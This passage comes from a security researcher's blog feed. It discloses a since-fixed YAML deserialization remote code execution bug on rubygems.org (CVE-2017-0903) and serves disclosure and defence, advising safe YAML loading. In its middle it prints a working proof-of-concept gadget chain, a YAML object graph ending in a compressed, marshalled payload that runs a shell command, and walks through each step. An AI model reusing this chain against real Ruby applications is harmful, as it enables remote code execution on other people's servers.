one.&lt;/p&gt;

&lt;p&gt;Instead, I looked back at the rubygems.org application. What does it do with that &lt;code class=&quot;highlighter-rouge&quot;&gt;@checksums&lt;/code&gt; variable, which we can now set to be an instance of any in-scope class? Over in &lt;code class=&quot;highlighter-rouge&quot;&gt;#verify_checksums&lt;/code&gt;:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;&lt;span class=&quot;c1&quot;&gt;# ...&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;checksums&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;sort&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;each&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;algorithm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gem_digests&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;gem_digests&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;sort&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;each&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;file_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gem_hexdigest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;computed_digest&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;digests&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;algorithm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;file_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# ...&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;So if we can build an object where calling &lt;code class=&quot;highlighter-rouge&quot;&gt;#sort&lt;/code&gt; does something dangerous, we can trigger our exploit. In the end, I came up with the following proof of concept. The payload that actually gets evaled is contained in the base-64 encoded, DEFLATE compressed, marshalled section at the bottom (in this case, it just shells out to run &lt;code class=&quot;highlighter-rouge&quot;&gt;echo &quot;oops&quot;&lt;/code&gt;):&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;s&quot;&gt;SHA1&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;!ruby/object:Gem::Package::TarReader&lt;/span&gt;
  &lt;span class=&quot;s&quot;&gt;io&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;!ruby/object:Gem::Package::TarReader::Entry&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;closed&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;false&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;foo'&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;0&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;io&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;!ruby/object:ActiveSupport::Cache::MemoryStore&lt;/span&gt;
      &lt;span class=&quot;s&quot;&gt;options&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;{}&lt;/span&gt;
      &lt;span class=&quot;s&quot;&gt;monitor&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;!ruby/object:ActiveSupport::Cache::Strategy::LocalCache::LocalStore&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;registry&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;{}&lt;/span&gt;
      &lt;span class=&quot;s&quot;&gt;key_access&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;{}&lt;/span&gt;
      &lt;span class=&quot;s&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;s1&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;3'&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;!ruby/object:ActiveSupport::Cache::Entry&lt;/span&gt;
          &lt;span class=&quot;s&quot;&gt;compressed&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;true&lt;/span&gt;
          &lt;span class=&quot;s&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;!binary&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;\&lt;/span&gt;
          &lt;span class=&quot;s&quot;&gt;eJx1jrsKAjEQRbeQNT4QwQ9Q8hlTRXGL7UTFemMysIGYCZNZ0b/XYsHK8nIO\&lt;/span&gt;
          &lt;span class=&quot;s&quot;&gt;nDtRBGbvJDzxMuRMLABHzIzOSqD0G+jbVMQmhzfLwd4jnphebwUrE0ZAoJrz\&lt;/span&gt;
          &lt;span class=&quot;s&quot;&gt;YQpLE0PCRKGCmSnsWr3p0PW000S56G5eQ91cv9oDpScPC8YyRIG18WOMmGD7\&lt;/span&gt;
          &lt;span class=&quot;s&quot;&gt;/1X1AV+XPlQ='&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Starting from the last step and working backwards to the call to &lt;code class=&quot;highlighter-rouge&quot;&gt;#sort&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;At the bottom we have an &lt;code class=&quot;highlighter-rouge&quot;&gt;ActiveSupport::Cache::Entry&lt;/code&gt; object. The important thing about this object is that when the &lt;code class=&quot;highlighter-rouge&quot;&gt;#value&lt;/code&gt; method is called and &lt;code class=&quot;highlighter-rouge&quot;&gt;@compressed&lt;/code&gt; is true, &lt;a href=&quot;https://github.com/rails/rails/blob/5-1-stable/activesupport/lib/active_support/cache.rb#L618&quot;&gt;it will call &lt;code class=&quot;highlighter-rouge&quot;&gt;Marshal.load&lt;/code&gt; on DEFLATE compressed, attacker provided data&lt;/a&gt;. The object that is unmarshalled is constructed in such a way that calling just about any method on it will execute the attacker’s code. The exact method used here has been written about before – &lt;a href=&quot;https://github.com/charliesome/charlie.bz/blob/master/posts/rails-3.2.10-remote-code-execution.md&quot;&gt;here is how it works&lt;/a&gt;. Unfortunately, we can’t just deserialize this object with YAML to achieve code execution, because it &lt;a href=&quot;https://github.com/rails/rails/blob/5-1-stable/activesupport/lib/active_support/deprecation/proxy_wrappers.rb#L14&quot;&gt;undefs almost all of its methods&lt;/a&gt;, including the ones that allow us to set instance variables. It really needs to be loaded with &lt;code class=&quot;highlighter-rouge&quot;&gt;Marshal.load&lt;/code&gt; to be useful in this context.&lt;/p&gt;

&lt;p&gt;Working our way up, the &lt;code class=&quot;highlighter-rouge&quot;&gt;ActiveSupport::Cache::MemoryStore&lt;/code&gt; object holds our malicious unmarshalled object in a hash called &lt;code class=&quot;highlighter-rouge&quot;&gt;@data&lt;/code&gt;. Its parent class, &lt;code class=&quot;highlighter-rouge&quot;&gt;ActiveSupport::Cache::Store&lt;/code&gt; defines a &lt;a href=&quot;https://github.com/rails/rails/blob/5-1-stable/activesupport/lib/active_support/cache.rb#L311&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;#read&lt;/code&gt; method&lt;/a&gt; that calls &lt;code class=&quot;highlighter-rouge&quot;&gt;#read_entry&lt;/code&gt; within the &lt;code class=&quot;highlighter-rouge&quot;&gt;MemoryStore&lt;/code&gt;. &lt;a href=&quot;https://github.com/rails/rails/blob/5-1-stable/activesupport/lib/active_support/cache/memory_store.rb#L117&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;#read_entry&lt;/code&gt;&lt;/a&gt; basically just grabs the entry out of &lt;code class=&quot;highlighter-rouge&quot;&gt;@data&lt;/code&gt; and returns it.&lt;/p&gt;

&lt;p&gt;The call to &lt;code class=&quot;highlighter-rouge&quot;&gt;MemoryStore#read&lt;/code&gt; comes from a call to &lt;code class=&quot;highlighter-rouge&quot;&gt;Gem::Package::TarReader::Entry#read&lt;/code&gt;, which itself is called by &lt;code class=&quot;highlighter-rouge&quot;&gt;Gem::Package::TarReader#each&lt;/code&gt;. After the read returns, &lt;a href=&quot;https://github.com/rubygems/rubygems/blob/master/lib/rubygems/package/tar_reader/entry.rb#L135&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;#size&lt;/code&gt; is called on the returned value&lt;/a&gt;, which our malicious unmarshalled object does not define, causing our payload to execute.&lt;/p&gt;

&lt;p&gt;Finally, because &lt;code class=&quot;highlighter-rouge&quot;&gt;Gem::Package::TarReader&lt;/code&gt; specifies &lt;code class=&quot;highlighter-rouge&quot;&gt;include Enumerable&lt;/code&gt;, a call to its &lt;code class=&quot;highlighter-rouge&quot;&gt;#sort&lt;/code&gt; method will call its &lt;code class=&quot;highlighter-rouge&quot;&gt;#each&lt;/code&gt; method, starting the whole chain above.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;For me, one of the takeaways here is that YAML is very powerful, and sometimes used in contexts where less expressive (but safer) interchange formats like JSON might be more appropriate. Perhaps in the future, &lt;code class=&quot;highlighter-rouge&quot;&gt;YAML.load&lt;/code&gt; could be modified to take a whitelist of classes as an optional parameter, making the deserialization of complex objects an opt-in behavior. &lt;code class=&quot;highlighter-rouge&quot;&gt;YAML.load&lt;/code&gt; in its current state should really be named something like &lt;code class=&quot;highlighter-rouge&quot;&gt;YAML.unsafe_load&lt;/code&gt; to get the point across, instead of relying on users to know when they should use &lt;code class=&quot;highlighter-rouge&quot;&gt;YAML.safe_load&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Thanks very much to the rubygems.org team for running a &lt;a href=&quot;https://hackerone.com/rubygems&quot;&gt;responsive bug bounty program&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;shameless-plug&quot;&gt;Shameless plug&lt;/h2&gt;

&lt;p&gt;If you’re interested in ditching #birdsite and want to use a social network that actually respects your freedoms, you should consider &lt;a href=&quot;https://joinmastodon.org/&quot;&gt;joining Mastodon&lt;/a&gt;! It’s a federated social network, meaning that it works in a distributed way sort of like email. Join us over in the fediverse and help us build a friendly security community!&lt;/p&gt;</content><author><name>Max Justicz</name></author><summary type="html">tl;dr Remote code execution via a deserialization vulnerability on rubygems.org, a very popular hosting service for ruby dependencies. A fix was rolled out quickly. Read the official announcement here. CVE-2017-0903</summary></entry></feed>